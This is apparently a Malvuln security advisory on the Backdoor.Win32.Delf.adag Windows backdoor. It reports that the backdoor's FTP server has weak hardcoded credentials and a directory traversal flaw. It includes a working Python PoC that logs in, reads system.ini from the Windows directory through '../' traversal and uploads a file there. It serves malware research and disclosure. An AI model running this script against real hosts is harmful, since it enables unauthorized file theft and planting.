Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/0e997ab441cd8c35010dd8db98aae2c2.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.adag
Vulnerability: Weak Hardcoded Credentials
Description: The backdoor runs an FTP server listening on TCP port 21 and uses weak hardcoded credentials which can be easily found using strings util. Credentials are located at memory offsets 0042C5CF and 0042C5DE, files can be uploaded or downloaded using dir traversal chars "../" outside of its main dir.
Type: PE32
MD5: 0e997ab441cd8c35010dd8db98aae2c2
Vuln ID: MVID-2021-0108
Dropped files: 
Disclosure: 02/23/2021 


Exploit/PoC:
TELNET x.x.x.x 21
220 Indy FTP Server ready.                                                                                              
USER user                                                                                                               
331 User name okay, need password.                                                                                      
PASS pass                                                                                                               
230 User logged in, proceed.     


import ftplib, time
MALWARE_HOST="x.x.x.x" 
USR='user'
PWD='pass'

#Download system.ini
def getFile(ftp, fname):
    try:
        ftp.retrbinary("RETR " + fname ,open(fname, 'wb').write)
    except:
        print("Error")
 
ftp = ftplib.FTP(MALWARE_HOST)
ftp.login(USR, PWD)
 
print(ftp.cwd('../../../../Windows/'))        
print(ftp.pwd())
getFile(ftp, 'system.ini')
 
time.sleep(1)

#Upload files to Windows dir
def upload(ftp, _file):
    s = ftplib.FTP(MALWARE_HOST,USR,PWD)
    f = open(_file,"rb")                 
    print(s.storbinary("STOR "+"../../../../Windows/"+_file, f))   
    f.close()                                
    s.quit()

upload(ftp, "1.js")
ftp.quit()


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